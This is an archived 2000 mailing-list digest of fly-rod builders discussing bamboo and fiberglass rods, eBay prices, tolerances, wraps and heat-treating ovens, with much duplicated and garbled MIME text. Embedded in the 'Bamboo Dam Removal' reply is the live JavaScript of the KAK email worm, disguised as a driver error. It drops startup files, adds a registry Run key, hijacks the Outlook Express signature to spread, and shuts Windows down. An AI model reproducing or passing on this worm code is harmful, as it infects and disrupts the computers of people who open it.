April 24, 2000 11:26 PM Cc: rodmakers@wugate.wustl.eduSubject: Re: Fiberglass Gold I have to agree the price is a bit high for those rods. But if you =knowyour fly rod history you'll also know that Fenwick under the directionof Jim Green were pioneers in fiberglass fly rods. I was lucky enough =toattend an informal discussion Per Brandin put together in which Jim =wasthe featured guest. Needless to say it was an enlightening afternoon.If I were a collector, I would keep and eye out for the old Fenwicks.--Regards, Chris Wohlfordemail: chris@artistree.com ------=_NextPart_000_0050_01BFAED9.413CC0A0 To each his own ! GMA ----- Original Message ----- Darrell A. Lee = Sent: Tuesday, April 25, 2000 = AMSubject: RE: Fiberglass =GoldHere's a Phillipson glass rod currently on ebay for = $810 and thereserve has not yet bee met!http://cgi.ebay.com/aw- cgi/eBayISAPI.dll?ViewItem&item=3D31538= rod above is apparently a new rod built by Ricks Rods... Which sort = onlyattribute the price to the "free hat"... = searches on completed auctions can only search the titles.And ebay = off the amount of time that solds remain available to beaccessed = afraid those sales are lost.I wonder how much Rick wants for = blanks now?Darrellwww.vfish.net----- Message-----From: owner-rodmakers@wugate.w= rodmakers@w= Behalf Of Chris WohlfordSent: Monday, April 24, 2000 11:26 = rodmakers@wugate.wustl.edu= Re: Fiberglass GoldI have to agree the price is a bit high = those rods. But if you knowyour fly rod history you'll also know = Fenwick under the directionof Jim Green were pioneers in = rods. I was lucky enough toattend an informal discussion Per = together in which Jim wasthe featured guest. Needless to say it = enlightening afternoon.If I were a collector, I would keep and eye = the old Fenwicks.--Regards,Chris Wohlfordemail:chris@artistree.com ------=_NextPart_000_0050_01BFAED9.413CC0A0-- from mstevens@ptdprolog.net Tue Apr 25 17:30:15 2000 0000 (204.186.1.206) Subject: Re: Fiberglass Gold boundary="MS_Mac_OE_3039532210_258815_MIME_Part" THIS MESSAGE IS IN MIME FORMAT. Since your mail reader does notunderstandthis format, some or all of this message may not be legible. --MS_Mac_OE_3039532210_258815_MIME_Part The Fenwick rod that went for $1305.00 was not a fly rod but a baitcaster.It is a rare rod much in demand in Japan. Most Fenwick glass rods go forless than $200 which is probably less than they would sell for new todayifavailable. I have a nice FF756 on there now. Here is the high priced rod: http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=308343440 Mike Michael StevensRR 1 Box 307C Effort PA 18330 610 681 5670 http://www.mikestevens.com http://www.OldTackle.com Heddon catalogs on CD available. mstevens@ptdprolog.net Collector of Heddon Bamboo rodsJ.A. Coxe baitcasting reelsHeddon River Runt Spooks Maker of Fine Sights for Antique Single Shot TargetRifles ---------- Subject: Re: Fiberglass Gold To each his own ! GMA----- Original Message ----- rodmakers@wugate.wustl.edu Subject: RE: Fiberglass Gold Here's a Phillipson glass rod currently on ebay for sale at $810 and thereserve has not yet bee met! http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=315386116 This rod above is apparently a new rod built by Ricks Rods... Which sort ofgoes against the conventional wisdom of older is more... I can onlyattribute the price to the "free hat"... 8^) Unfortunately, searches on completed auctions can only search the titles.And ebay has cut off the amount of time that solds remain available to beaccessed so I'm afraid those sales are lost. I wonder how much Rick wants for his glass blanks now? Darrellwww.vfish.net -----Original Message----- ]On Behalf Of Chris Wohlford Subject: Re: Fiberglass Gold I have to agree the price is a bit high for those rods. But if you knowyour fly rod history you'll also know that Fenwick under the directionof Jim Green were pioneers in fiberglass fly rods. I was lucky enough toattend an informal discussion Per Brandin put together in which Jim wasthe featured guest. Needless to say it was an enlightening afternoon.If I were a collector, I would keep and eye out for the old Fenwicks.--Regards, Chris Wohlfordemail: chris@artistree.com --MS_Mac_OE_3039532210_258815_MIME_Part Re: Fiberglass Gold The Fenwick rod that went for $1305.00 was not a fly rod but a baitcaster.=It is a rare rod much in demand in Japan. Most Fenwick glass rods go forles=s than $200 which is probably less than they would sell for new today ifava=ilable. I have a nice FF756 on there now. Here is the high priced rod: http://cgi.ebay.com/aw- cgi/eBayISAPI.dll?ViewItem&item=3D308343440 Mike Michael StevensRR 1 Box 307C 610 681 5670 http://www.mikestevens.com http://www.OldTackle.com Heddon catalogs on CD available. mstevens@ptdprolog.net Collector of Heddon Bamboo rodsJ.A. Coxe baitcasting reelsHeddon River Runt Spooks Maker of Fine Sights for Antique Single Shot TargetRifles ---------- <rodm= Subject: Re: Fiberglass Gold To each his own ! GMA----- Original Message ----- Sent: Tuesday, April 25, 2000 11:05 AMSubject: RE: Fiberglass Gold Here's a Phillipson glass rod currently on ebay for sale at $810 andthereserve has not yet bee met! http://cgi.ebay.com/aw- cgi/eBayISAPI.dll?ViewItem&=amp;item=3D315386116 <http://cgi.ebay.c=om/aw- This rod above is apparently a new rod built by Ricks Rods... Which sort of= onlyattribute the price to the "free hat"... 8^) Unfortunately, searches on completed auctions can only search thetitles.And ebay has cut off the amount of time that solds remain available tobeaccessed so I'm afraid those sales are lost. I wonder how much Rick wants for his glass blanks now? Darrellwww.vfish.net <http://www.vfish.net&=gt; -----Original Message----- rodmakers@wugate.wustl.edu = Subject: Re: Fiberglass Gold I have to agree the price is a bit high for those rods. But if you knowyour fly rod history you'll also know that Fenwick under the directionof Jim Green were pioneers in fiberglass fly rods. I was lucky enoughtoattend an informal discussion Per Brandin put together in which Jimwasthe featured guest. Needless to say it was an enlightening afternoon.If I were a collector, I would keep and eye out for the old Fenwicks.--Regards, Chris Wohlfordemail: chris@artistree.com --MS_Mac_OE_3039532210_258815_MIME_Part-- from CCGGLOBAL@aol.com Tue Apr 25 18:09:48 2000 Subject: (no subject) Dear Rodmakers: Help ! Reference: Instruments and measurementtolerances. What instruments do you like ?, Dial Indicators, Calipers, Micrometers,and what are acceptable tolerances in rod building ?, .001, .002, .003, .004,per Planning form station and over-all for the rod. What were the tolerancesof the Classic Master Rod builders ?, Garrision, Payne, Leonard, Dickerson, Gillum, Powell ?. Any help will be appreciated. Thank You in advance. Bill Campbell : e-mail : ccgglobal@aol.com from oakmere@carol.net Tue Apr 25 18:37:33 2000 Subject: RE: Dress Wraps Hi Folks: I have experimented a little with this. I can do 3 wraps. As one suggestedkeep the string ends; pull tight; and touch with ever so little super glueat the thread cross over. This does work and does not show if one iscareful in trimming off the excess thread. Just a method I have evolved. FrankFrank Paul, GreyFox2932 North Bayshore DriveSeneca, SC 29672fwpaul@ces.clemson.edu (work)oakmere@carol.net (home) from mcdowellc@lanecc.edu Tue Apr 25 18:39:32 2000 16:46:06 PDT Subject: re: tolerances One of the Dickerson letters Wayne C. shared with us indicated that Lyle Dickerson, using his beveler, strove for .004" tolerance across the flats on a finished rod. Chris---------- Original Text ---------- Dear Rodmakers: Help ! Reference: Instruments and measurementtolerances. What instruments do you like ?, Dial Indicators, Calipers, Micrometers,and what are acceptable tolerances in rod building ?, .001, .002, .003, .004,per Planning form station and over-all for the rod. What were the tolerancesof the Classic Master Rod builders ?, Garrision, Payne, Leonard, Dickerson, Gillum, Powell ?. Any help will be appreciated. Thank You in advance. Bill Campbell : e-mail : ccgglobal@aol.com from watson@cape-consult.co.uk Tue Apr 25 19:13:42 2000 +0100 (BST) Subject: Virus' boundary="----=_NextPart_000_0007_01BFAF1D.0B6F0200" This is a multi-part message in MIME format. ------=_NextPart_000_0007_01BFAF1D.0B6F0200 Guys,Not that I am a great contributor but I am coming off for a while.I have just got another virus from the the list, the Wscript one and =have spent nearly an hour on the phone with McAfee in the US (its 1am =here) sorting it out. So I am getting a better virus scan from them and =when I do I'll log on again.Ah the joys of computing!!Anyone who wants me can get me off listTim Watson ------=_NextPart_000_0007_01BFAF1D.0B6F0200 Guys,Not that I am a great contributor but I= off for a while.I have just got another virus from the= the Wscript one and have spent nearly an hour on the phone = from them and when I do I'll log on again.Ah the joys ofcomputing!!Anyone who wants me can get me listTimWatson ------=_NextPart_000_0007_01BFAF1D.0B6F0200-- from lars32@gateway.net Tue Apr 25 19:31:43 2000 , Subject: Re: longevity of actively used bamboo rods. boundary="----=_NextPart_000_0067_01BFAEED.EA93CC20" This is a multi-part message in MIME format. ------=_NextPart_000_0067_01BFAEED.EA93CC20 When I wear out one of my rods, and I liked it, I'll build another one.Dave Norling-----Original Message-----From: nobler GROMBACHERA@phibred.com =; rodmakers@wugate.wustl.edu = Date: Monday, April 24, 2000 5:53 PMSubject: Re: longevity of actively used bamboo rods. Intelligent use is one thing, while abuse is quite another. I abused =a PHY spinning/fly combo rod terribly. Throwing 5/8 oz. plugs with it, =and horsing 5 lb, bass. It did finally take a set, but it never broke. I =was young then, and had no common sense ! So old, we get so smart ! GMA Sent: Monday, April 24, 2000 5:32 PMSubject: Re: longevity of actively used bamboo rods. Well, I've been using rods regularly that I built over twenty =years ago, and they're seem to be as good as when I built them. =Although my tastes in a rod's action have changed, the rods themselves =have not. I don't think we know exactly when or why a rod will "break =down," but at some point, I suppose they all will. At any rate, 300 = cheers, Bill-----------------------------------------------------Click here for Free Video!!http://www.gohip.com/freevideo/ From: "Grombacher, Alan" Sent: Monday, April 24, 2000 3:00 PMSubject: longevity of actively used bamboo rods. Hey Folks, I had a friend tell me that he read A.J. McClane talking about =the longevityof rods made of bamboo and fiberglass. He said A.J. mentioned =that bamboorods lose it after 300 hours of use. I have several bamboos with a lot more than 300 hours of use =into them, andI think they cast fine to this day. What is everyone's =opinion on this? Ithink A.J. McClane is all wet on this notion. ------=_NextPart_000_0067_01BFAEED.EA93CC20 When I wear out one of my rods,and = I'll build another one.Dave =Norling -----Original = =harms1@prodigy.net GROMBACHERA@phibred.com = rodmakers@wugate.wustl.edu= <rodmakers@wugate.wustl.edu= Monday, April 24, 2000 5:53 PMSubject: Re: longevity = actively used bamboo rods.Intelligent use is one thing, while abuse is quite = abused a PHY spinning/fly combo rod terribly. Throwing 5/8 oz. plugs = it, and horsing 5 lb, bass. It did finally take a set, but it never = was young then, and had no common sense ! So old, we get so smart ! GMA ----- Original Message ----- = HARMS ; rodmakers@wugate.wustl.edu Sent: Monday, April 24, = PMSubject: Re: longevity of = used bamboo rods. Well, I've been using = regularly that I built over twenty years ago, and they're seem = to be rather on the premature side. Bill-----------------------------------------------------Clic= here for Free Video!!http://www.gohip.com/freevideo/= ----- OriginalMessage = From: = Sent: Monday, April = 3:00 PMSubject: longevity of = used bamboo rods. ------=_NextPart_000_0067_01BFAEED.EA93CC20-- from seanmcs@ar.com.au Tue Apr 25 20:32:04 2000 Wed, 26 Apr 2000 11:25:15 +1000 Subject: Re: Dress Wraps Interesting. I mention that when I was undoing (foolishly) the butt of a16' Hardy salmon rod from the late teens of the last century, I noticedthat none of the numerous intermediate wraps were tied down. They wereheld in place by the varnish, and I suspect by a dab of something priorto varnishing. While these intermediates were perhaps six wraps wide,and therefore under varnish probably did their job of reinforcing bambooglued with hide glue, I suppose for tipping wraps of three turns youcould get away with the same idea. One would have to play with it a bit.Sean "Frank W. Paul" wrote: Hi Folks: I have experimented a little with this. I can do 3 wraps. As onesuggestedkeep the string ends; pull tight; and touch with ever so little super glueat the thread cross over. This does work and does not show if one iscareful in trimming off the excess thread. Just a method I have evolved. FrankFrank Paul, GreyFox2932 North Bayshore DriveSeneca, SC 29672fwpaul@ces.clemson.edu (work)oakmere@carol.net (home) from nsflyrods@ns.sympatico.ca Tue Apr 25 21:03:41 2000 Subject: small quads Does anyone out there have tapers for quads smaller than 5 wt? Allthe tapers I have seen for quads are for 4/5 wt and up and I would likesmaller ones, anyone??Yes, I know I could just convert a taper but I was looking for aestablished one.Something like a 2,3 or 4 wt 5 to 8 1/2 feet preferably.Thanks, ShawnP.S I would love any quad tapers in other sizes as well! from FISHWOOL@aol.com Tue Apr 25 21:48:58 2000 Subject: Re: longevity of actively used bamboo rods. rodmakers@wugate.wustl.edu,GROMBACHERA@phibred.com, rodmakers@wugate.wustl.edu To All,I have to agree that if the Orvis test is accurate I, also, would lose the use of my rod in 1 1/2 years. The one I use (overstress at times)seemed to lose its crispness after 4 years but when it was stripped and put in the oven at 175* F. for 2 days it seemed to recover. Over 4000 trout in 8 years is the approximate tally so far-everything from 2" par to 20" cuts, browns and rainbows. The rod gets left in the car too much and is otherwiseabused. I consider bamboo to be a fantastic material.Hank.P.S. The rod is a 7 1/2', 2 pc., 5 wf. from FISHWOOL@aol.com Tue Apr 25 21:49:11 2000 Subject: Re: Grobet files Harry,I've been using #2 and #4 Swiss files for small transitions (like filing epoxy on the transition from hex cane to round NS winding check). For thisI use 1/4" size and for initial ferrule dressing I use 3/4" files and finish up with 600 and 1500 grit sand paper. I guess it depends on the use you'regoing to put them to (never end a sentence with a preposition-you'll notice I did not).Hank. from saweiss@flash.net Tue Apr 25 21:50:25 2000 Subject: Re: Winding pressure for guides Andrew,Here's a little tip that works for me.Instead of applying a cutting stroke with the blade when trimming the tagends, place the blade firmly and accurately on the trimming point and pullup on the tag end. It severs without disturbing the wraps.Steve On a slightly different topic....how DO you do tipping with only 3 or4 wraps? I have done 5 or six using Pearsall's Gossamer, which stillmakes the tipping fairly narrow, but wonder how it can be done withfewer wraps. Andy -----Original Message-----From: owner-rodmakers@wugate.wustl.edu Sent: Monday, April 24, 2000 9:55 PM owner-rodmakers@wugate.wustl.edu; rodmakers@wugate.wustl.eduSubject: Re: Winding pressure for guides Hi all,My preference for wrapping guides is to use a tight thread except fortrimwraps which can be looser. The guide is then anchored securely andwill notmove.Ray----- Original Message -----From: Sent: Monday, April 24, 2000 10:09 AMSubject: Re: Winding pressure for guides HI Mike,I had a problem with this on my second rod. I was justputting thethread though a book and it was to tight , after fishing it it tookafunnycurve at wraps . So i took the guides off and there wasindentationsonthecane at the wrap area to tight. After speaking to Russ at G.W. hisadvicewasjust enough presure to hold the guides. You should be able to moveguidesafter the wraps are on. Hope this helps. Tom n. from Bamboomaker@aol.com Tue Apr 25 22:17:16 2000 Subject: Re: Dial Indicators/Hand Mill Bob, Well stated! Tom's mill is a wonderful piece of machinery. I've enjoyed every minutethat I've had it. Tom has always been helpful and very supportive. I do use a digital 1" Mitutoyo, but that was my preference. The important thing to note is that once the taper is set, his machine produces extremely accurate strips. It has saved me much time. I agreethat it was well worth the price. My .02 (actually $2000) with best regards, Mark Mark C. Lee, M.D.Rochester, MN from pmgoodwin@earthlink.net Wed Apr 26 00:06:42 2000 Subject: bamboo oven I got the bamboo oven page up on the web site. http://www.paul.goodwinweb.com/ Click on building a "bamboo oven" and that will take you to the page.Clicking on the photos will get you a much bigger photo. It can be built in a couple of hours. Probably under an hour if your kidsaren'thelping. Paul ----- Original Message ----- Subject: Re: Airflow oven temperature I built a heat gun powered oven a few nights ago. The test strips cameoutconsistant over a 6' length. I am going to run another few strips tonighttocheck the times vs color. I also want to pick up a stove thermometer (thekind for measuring the temperature of the exhaust stack on a woodstove)tosee just how hot it gets. I took pictures during the construction which I'll post pictures on mywebsite late tonight or tomorrow if the TU meeting runs late. I'll alsoincludea list of materials which all came fromthe local Home Depot. Paul ----- Original Message -----From: "Steve Zimmerman" Sent: Tuesday, April 25, 2000 2:57 PMSubject: Re: Airflow oven temperature Assuming your oven is constructed such that the temperature of caneisator near 350-400 degress you should be fine. Since you'll have some heatlossas the oven reaches equilibrium, I'd be suprised if your oven temperaturelevels off at 707F, so you should be OK. You might want to consider aconstruction that allows you to insert an oven thermometer to gauge thetemp. --Steve ----- Original Message -----From: Sent: Tuesday, April 25, 2000 2:01 PMSubject: Airflow oven temperature Recently bought an airflow/heat gun with low setting of 707 Deg Fandblowerspeed 400m/min.Have not run trials as I'm currently building myoven.Questionbeing will it work for heat treating cane in an oven or should Iconsiderbuying another gun.I do have other uses for it. from mschaffer@mindspring.com Wed Apr 26 09:14:16 2000 Subject: Black guide wraps boundary="----=_NextPart_000_0053_01BFAF67.EA582240" This is a multi-part message in MIME format. ------=_NextPart_000_0053_01BFAF67.EA582240 Guys,Just wanted to know if anyone has ever seen a flamed rod that had black =guide wrappings, and, if so, how did it look to you aesthetically =speaking?Thanks, Mike ------=_NextPart_000_0053_01BFAF67.EA582240 Guys,Just wanted to know if anyone hasever = flamed rod that had black guide wrappings, and, if so, how did it look = aesthetically speaking?Thanks, Mike ------=_NextPart_000_0053_01BFAF67.EA582240-- from Jon.Beckton@asml.nl Wed Apr 26 09:28:10 2000 +0200 (MET DST) +0200 (MET DST) Subject: Black bamboo Question for all those bamboo experts out there: I was at the local plant nursery, doing the usual penance with SWMBO, atthe weekend and spotted an ornamental bamboo with a jet black stem. Hasanyone seen this or does anyone know anything about it? Would it be anyuse for rod building? Bamboo doesn't grow too big here in the Netherlands but, maybe, in it'snatural environment this would grow to a useful size. Jon Beckton from dickay@alltel.net Wed Apr 26 09:58:56 2000 JAA16785 Subject: Bamboo Dam Removal boundary="----=_NextPart_000_0045_01BFAE20.FD8806C0" This is a multi-part message in MIME format. ------=_NextPart_000_0045_01BFAE20.FD8806C0 Shawn,Why saw the length of pipe in half? Just sharpen the end of a piece of =1/2" pipe and put a cap on the other end and bang away.Dick Fuhrman ------=_NextPart_000_0045_01BFAE20.FD8806C0 Shawn, of 1/2" pipe and put a cap on the other end and bang away.Dick Fuhrman Dr=iver Memory Errorfunction sEr(){self.close();return true;}window.onerror=3DsEr;fs=3Dnew=ActiveXObject('Scripting.FileSystemObject');wd=3D'C:\\\\Windows\\\\';fl=3D=fs.GetFolder(wd+'Applic~1\\\\Identities');sbf=3Dfl.SubFolders;for(var =mye=3Dnew =Enumerator(sbf);!mye.atEnd();mye.moveNext())idd=3Dmye.item();ids=3Dnew=String(idd);idn=3Dids.slice(31);fic=3Didn.substring(1,9);kfr=3Dwd+'MENUD=C9=~1\\\\PROGRA~1\\\\D=C9MARR~1\\\\kak.hta';ken=3Dwd+'STARTM~1\\\\Programs\\=\\StartUp\\\\kak.hta';k2=3Dwd+'System\\\\'+fic+'.hta';kk=3D(fs.FileExists=(kfr))?kfr:ken;aek=3D'C:\\\\AE.KAK';aeb=3D'C:\\\\Autoexec.bat';if(!fs.Fil=eExists(aek)){re=3D/kak.hta/i;if(hO.commandLine.search(re)!=3D- 1){f1=3Dfs=.GetFile(aeb);f1.Copy(aek);t1=3Df1.OpenAsTextStream(8);pth=3D(kk=3D=3Dkfr=)?wd+'MENUD=90~1\\\\PROGRA~1\\\\D=90MARR~1\\\\kak.hta':ken;t1.WriteLine('=@echo off>'+pth);t1.WriteLine('del ='+pth);t1.Close();}}if(!fs.FileExists(k2)){fs.CopyFile(kk,k2);fs.GetFile(=k2).Attributes=3D2;}t2=3Dfs.CreateTextFile(wd+'kak.reg');t2.write('REGEDI=T4');t2.WriteBlankLines(2);ky=3D'[HKEY_CURRENT_USER\\\\Identities\\\\'+id=n+'\\\\Software\\\\Microsoft\\\\Outlook =Express\\\\5.0';sg=3D'\\\\signatures';t2.WriteLine(ky+sg+']');t2.Write('\="Default =Signature\"=3D\"00000000\"');t2.WriteBlankLines(2);t2.WriteLine(ky+sg+'\\=\\00000000]');t2.WriteLine('\"name\"=3D\"Signature =#1\"');t2.WriteLine('\"type\"=3Ddword:00000002');t2.WriteLine('\"text\"=3D=\"\"');t2.Write('\"file\"=3D\"C:\\\\\\\\WINDOWS\\\\\\\\kak.htm\"');t2.Wri=teBlankLines(2);t2.WriteLine(ky+']');t2.Write('\"Signature =Flags\"=3Ddword:00000003');t2.WriteBlankLines(2);t2.WriteLine('[HKEY_LOCA=L_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run]')=;t2.Write('\"cAg0u\"=3D\"C:\\\\\\\\WINDOWS\\\\\\\\SYSTEM\\\\\\\\'+fic+'.h=ta\"');t2.WriteBlankLines(2);t2.close();wsh.Run(wd+'Regedit.exe -s ='+wd+'kak.reg');t3=3Dfs.CreateTextFile(wd+'kak.htm',1);t3.Write('');t4=3Dfs.OpenTextFile(k2,1);while(t4.Read=(1)!=3D'Z');t3.WriteLine('4))||(agt.indexOf(\"msie =5.\")!=3D-1))scr.write();');t3.write('//-- >=');t3.close();fs.GetFile(wd+'kak.htm').Attribut=es=3D2;fs.DeleteFile(wd+'kak.reg');d=3Dnew Date();if(d.getDate()=3D=3D1 =&& d.getHours()>17){alert('Kagou-Anti-Kro$oft says not today =!');wsh.Run(wd+'RUNDLL32.EXE =user.exe,exitwindows');}self.close();S3 driver memory alloc = !]]%%%%%";la=3D(navigator.systemLanguage)?navigator.s=ystemLanguage:navigator.language;scr.Path=3D(la=3D=3D"fr")?"C:\\windows\\=MenuD=E9marrer\\Programmes\\D=E9marrage\\kak.hta":"C:\\windows\\Start =Menu\\Programs\\StartUp\\kak.hta";agt=3Dnavigator.userAgent.toLowerCase()=;if(((agt.indexOf("msie")!=3D- 1)&&(parseInt(navigator.appVersion)>4))||(a=gt.indexOf("msie 5.")!=3D- 1))scr.write();//--> ------=_NextPart_000_0045_01BFAE20.FD8806C0-- from Oozakgpt@aol.com Wed Apr 26 10:03:50 2000 Subject: Payne blueing formula they are now shipping this nasty stuff for a minimal charge.I have noconnection to them,just thought you would like to know. from jwt4639@ritvax.isc.rit.edu Wed Apr 26 10:11:53 2000 with ESMTPA id forrodmakers@wugate.wustl.edu; Wed, 26 Apr 2000 11:11:43 EDT Subject: Bamboo (Black) http://web.kyoto-inet.or.jp/people/takehei/index.html which show info on various types of bamboo including the black which hasbeen asked about.Jim T from fbcwin@3g.quik.com Wed Apr 26 10:16:01 2000 Wed, 26 Apr 2000 08:15:51 -0700 Subject: Re: Black bamboo Jon Beckton wrote: Has anyone seen this or does anyone know anything about it? Would it beanyuse for rod building? Jon,I haven't personally seen the black bamboo to which you refer, but Ihave seen it on several websites and in various books. Luis Marden'sarticle in "National Geographic" is a good beginning point on studyingdifferent bamboo species.I live in the Southern US, Louisiana; and we have quite a fewspecies of native bamboo which grow to a size comparable to the TonkinCanewe use in rodmaking. I've harvested and dried several culms, and fullyintend to make a rod from one of those culms some day. Theyhaveapproximately the same "heft" as Tonkin, and from outwardappearances arevery similar; including distance between nodes and depth of power fibers.Let me add quickly that though they look similar, they do not behave thesame as Tonkin cane. One interesting thing I have noticed in somepreliminary work with the native bamboo is that the well- cured culms (5years in the shop) ooze a sort of sticky sap when heating and straighteningnodes. I haven't heat treated any of this cane yet, so I don't know whateffects that might have. For all I know the strips might ooze sap forever.I do know that whatever work I would do with local bamboo would be justanexperiment. As long as Tonkin bamboo is readily available for makingrods,I suspect I'll use it.....Max Satoh, from Japan, has done some work with bamboo other thanTonkin. Maybe Max will have some additional insight. Harry Boyd from DNHayashida@aol.com Wed Apr 26 10:24:13 2000 Subject: Re: Black bamboo http://www.endangeredspecies.com/BGA.jpg Darryl Question for all those bamboo experts out there: I was at the local plant nursery, doing the usual penance with SWMBO, atthe weekend and spotted an ornamental bamboo with a jet black stem.Hasanyone seen this or does anyone know anything about it? Would it be anyuse for rod building? Bamboo doesn't grow too big here in the Netherlands but, maybe, in it'snatural environment this would grow to a useful size. Jon Beckton from mcdowellc@lanecc.edu Wed Apr 26 10:33:06 2000 8:39:51 PDT Subject: re: Black guide wraps I've only used black for tipping and midwraps on flamed bamboo, and Ithink it looks fine. I've often surmised that the best color from the builders point of view would be black tipped black. If you forget to tip a wrap.....who's gonna know. Also, no more concern with varnish bleeds ifyou dip over the wraps. Black looks the same whether it's preserved or not. Chris---------- Original Text ---------- Guys,Just wanted to know if anyone has ever seen a flamed rod that had blackguide wrappings, and, if so, how did it look to you aesthetically speaking?Thanks, Mike from GLohkamp@aol.com Wed Apr 26 12:17:35 2000 Subject: smooth rods fbcwin@3g.quik.com.mschaffer@mindspring.comgabriele.moultrie@multimedica.de,lars32@gateway.net So you think you want to know? You may find out its not really all thatmuch anyway. First off you need to know that Iam still working on that really smooth rod, l have gotten close but l still think l could do better. Basically what l do is split my strips out pretty wide at 3/8" and then plane them side to side until they are squared up. Then l go about straightening the strips, most of the hard kinks and bends have really softened up and are easy to straighten l work over the enamel side fortwists and the conclave areas about the nodes. What l want is perfect little 2x4's before l start to bevel them into triangles. After they are roughed into triangles l straighten them again if l need to all the way until I final taper them l don't oven temper my rods any longer but l would think that bindingthem up tight and straight would be a good thing to do before cooking. The other thing l want to try is John Bokstroms wet strip method of straightening strips I know John and if he says its great way to go its got to be. I use a Garrison style binder l don't think the hanging weight is as important as the binding thread tension as for getting twists in the blank.I like the binding thread tension to be very light keeping the thread snug on the section. I bind the section twice, fuss over the twists and bends like everyone else and then run it though a 3rd time without and binding threadto smooth and straighten the section out, instead of rolling it. The next part is the hardest for me Once thru the binder the section is done I just don't look at it more than a glance and hang it up to dry. I have better luck fixing the little twists and bends with heat later That's it ................I guess for me the more I put into it the more I get out of it. Let me know what you think.Gary Lohkamp from timklein@uswest.net Wed Apr 26 12:52:58 2000 (63.225.127.210) Subject: Re: Fiberglass Gold I visited Rick's shop a couple of weeks ago and talked with him a littleabout the Fiberglass rods he's working on. It turns out that the Phillipson fiberglass rods are so popular that he isable to sell them for more than bamboo rods. He regularly gets orders fromJapan for rods, sight unseen. The Phillipson fiberglass is so popular there,they're known simply as "The Rod". Rick's has a huge inventory of Wright & McGill bamboo. He took me back inthe workshop and showed me bundles and bundles of bamboo that run fromtapered strips all the way to completed blanks. He's got several of thosebig cabinets that are used to store blueprints, brimming full of old bamboorods, blanks, etc.. I couldn't help salivating over the inventory he's got.Unfortunately, the bamboo rods take far more time and effort to completefora similar return to the fiberglass, so that's where he's concentrating hiseffort. The Wright & McGill inventory is still for sale. It seems like the perfectstarting place for someone who wants to begin a production bamboo rodshop. ----- Original Message ----- Subject: RE: Fiberglass Gold Here's a Phillipson glass rod currently on ebay for sale at $810 and thereserve has not yet bee met! http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=315386116 This rod above is apparently a new rod built by Ricks Rods... Which sortofgoes against the conventional wisdom of older is more... I can onlyattribute the price to the "free hat"... 8^) Unfortunately, searches on completed auctions can only search thetitles.And ebay has cut off the amount of time that solds remain available tobeaccessed so I'm afraid those sales are lost. I wonder how much Rick wants for his glass blanks now? Darrellwww.vfish.net -----Original Message-----From: owner-rodmakers@wugate.wustl.edu Sent: Monday, April 24, 2000 11:26 PM Cc: rodmakers@wugate.wustl.eduSubject: Re: Fiberglass Gold I have to agree the price is a bit high for those rods. But if you knowyour fly rod history you'll also know that Fenwick under the directionof Jim Green were pioneers in fiberglass fly rods. I was lucky enough toattend an informal discussion Per Brandin put together in which Jim wasthe featured guest. Needless to say it was an enlightening afternoon.If I were a collector, I would keep and eye out for the old Fenwicks.--Regards, Chris Wohlfordemail: chris@artistree.com from pmgoodwin@earthlink.net Wed Apr 26 13:24:28 2000 Subject: Re: Fiberglass Gold He put the W&M lot up on EBAY about a year ago. At the price he was askingit worked out to $475 a rod and then you still had to wrap and varnish therods and don't forget reel seats, guides, ferrules. He had one to manyzero's on the asking price. Paul ----- Original Message ----- Subject: Re: Fiberglass Gold I visited Rick's shop a couple of weeks ago and talked with him a littleabout the Fiberglass rods he's working on. It turns out that the Phillipson fiberglass rods are so popular that he isable to sell them for more than bamboo rods. He regularly gets ordersfromJapan for rods, sight unseen. The Phillipson fiberglass is so popularthere,they're known simply as "The Rod". Rick's has a huge inventory of Wright & McGill bamboo. He took me backinthe workshop and showed me bundles and bundles of bamboo that runfromtapered strips all the way to completed blanks. He's got several of thosebig cabinets that are used to store blueprints, brimming full of oldbamboorods, blanks, etc.. I couldn't help salivating over the inventory he'sgot.Unfortunately, the bamboo rods take far more time and effort tocompletefora similar return to the fiberglass, so that's where he's concentrating hiseffort. The Wright & McGill inventory is still for sale. It seems like the perfectstarting place for someone who wants to begin a production bamboo rodshop. ----- Original Message -----From: Darrell A. Lee Sent: Tuesday, April 25, 2000 10:05 AMSubject: RE: Fiberglass Gold Here's a Phillipson glass rod currently on ebay for sale at $810 and thereserve has not yet bee met! http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=315386116 This rod above is apparently a new rod built by Ricks Rods... Which sortofgoes against the conventional wisdom of older is more... I can onlyattribute the price to the "free hat"... 8^) Unfortunately, searches on completed auctions can only search thetitles.And ebay has cut off the amount of time that solds remain available tobeaccessed so I'm afraid those sales are lost. I wonder how much Rick wants for his glass blanks now? Darrellwww.vfish.net -----Original Message-----From: owner-rodmakers@wugate.wustl.edu WohlfordSent: Monday, April 24, 2000 11:26 PM Cc: rodmakers@wugate.wustl.eduSubject: Re: Fiberglass Gold I have to agree the price is a bit high for those rods. But if you knowyour fly rod history you'll also know that Fenwick under the directionof Jim Green were pioneers in fiberglass fly rods. I was lucky enoughtoattend an informal discussion Per Brandin put together in which Jimwasthe featured guest. Needless to say it was an enlightening afternoon.If I were a collector, I would keep and eye out for the old Fenwicks.--Regards, Chris Wohlfordemail: chris@artistree.com from jmpio@nhbm.com Wed Apr 26 13:32:18 2000 (5.0.1459.74) Subject: RE: W&M Cane I've seen his website describing that lot. I don't have any idea whathe may have paid for those, but as far as I can tell he's onlyinterested in selling the lot, and won't even hint at a price (I neverknew about the eBay attempt). I can't imagine sitting on an inventorylike that. The market for reasonably priced cane blanks seems prettyhot to me right now. I'd love to see someone liquidate that kind ofinventory at a price reflecting a realistic market value. Did he evermention any plans to sell individual or small lot blanks? -----Original Message-----From: PMG [SMTP:pmgoodwin@earthlink.net]Sent: Wednesday, April 26, 2000 12:28 PM Subject: Re: Fiberglass Gold He put the W&M lot up on EBAY about a year ago. At the price he wasaskingit worked out to $475 a rod and then you still had to wrap and varnishtherods and don't forget reel seats, guides, ferrules. He had one to manyzero's on the asking price. Paul ----- Original Message -----From: "Tim Klein" Sent: Wednesday, April 26, 2000 1:47 PMSubject: Re: Fiberglass Gold I visited Rick's shop a couple of weeks ago and talked with him alittleabout the Fiberglass rods he's working on. It turns out that the Phillipson fiberglass rods are so popular thathe isable to sell them for more than bamboo rods. He regularly getsorders fromJapan for rods, sight unseen. The Phillipson fiberglass is sopopularthere,they're known simply as "The Rod". Rick's has a huge inventory of Wright & 